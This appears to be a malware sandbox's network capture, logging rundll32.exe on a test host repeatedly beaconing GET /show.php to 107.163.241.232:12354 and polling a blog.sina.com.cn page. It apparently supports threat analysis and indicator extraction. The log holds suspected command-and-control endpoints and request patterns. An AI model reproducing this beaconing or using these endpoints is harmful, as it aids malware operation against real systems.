Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	52374	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:11.462119102 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	53686	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:13.100939989 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	53818	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:13.215796947 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	53820	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:13.216111898 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:26:14.781997919 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:14 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	55654	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:15.378324986 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	55673	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:15.689882040 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	56252	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:17.115521908 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	56357	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:17.229372978 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:26:18.799427032 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:18 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	56358	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:17.232209921 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	57170	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:19.355490923 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	57220	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:19.481911898 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	58813	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:21.131328106 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	58979	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:21.252327919 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	58981	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:21.252428055 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:26:22.830583096 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:22 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	60535	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:23.361043930 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	60620	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:23.484586000 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	62056	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:24.931222916 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	62221	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:25.161228895 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	62240	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:25.276005030 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	62241	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:25.276731014 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:26:26.836364031 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:26 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	64094	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:27.389686108 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	64295	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:27.516988993 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49293	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:28.825407028 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49297	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:29.268208027 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49302	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:29.553390980 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49303	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:29.553591967 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:26:31.043132067 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:30 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	51032	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:31.752629995 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	51043	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:31.995491982 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	51361	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:32.977711916 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49854	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:48 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive
2024-12-11 15:24:49 UTC	846	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 15:24:48 GMT Content-Type: text/html Content-Length: 325 Connection: close Set-Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; path=/; expires=Sat, 09-Dec-34 15:24:48 GMT; domain=.sina.com.cn Set-Cookie: U_TRS2=0000001f.32a12510.6759aec0.40768b16; path=/; domain=.sina.com.cn Origin-Agent-Cluster: ?0 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Dec 2024 15:24:47 GMT Cache-Control: no-cache Pragma: no-cache DPOOL_HEADER: 10.13.3.117 strict-transport-security: max-age=180 Content-Security-Policy: upgrade-insecure-requests X-Cache: MISS from 464291b26ee9 Content-Security-Policy: upgrade-insecure-requests X-Via-SSL: ssl.30.sinag1.bx.lb.sinanode.com
2024-12-11 15:24:49 UTC	325	IN	Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 43 4f 4e 54 45 4e 54 3d 22 2d 31 22 20 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 20 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 73 74 6f 72 65 22 20 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 20 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 2f 63 6f 6e 74 72 6f 6c 2e 62 6c 6f 67 2e 73 69 6e 61 2e 63 6f 6d 2e 63 6e 2f 6d 79 Data Ascii: <meta http-equiv="Expires" CONTENT="-1" ><meta http-equiv="Cache-Control" CONTENT="no-cache" ><meta http-equiv="Cache-Control" CONTENT="no-store" ><meta http-equiv="Pragma" CONTENT="no-cache" ><script>window.location.href='//control.blog.sina.com.cn/my

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49927	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:56 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49963	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:00 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	50001	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:04 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	50042	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:08 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	50081	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:12 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	50124	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:16 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50169	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:20 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50217	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:24 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50314	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:32 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50384	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:36 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50454	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:40 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50544	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:44 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

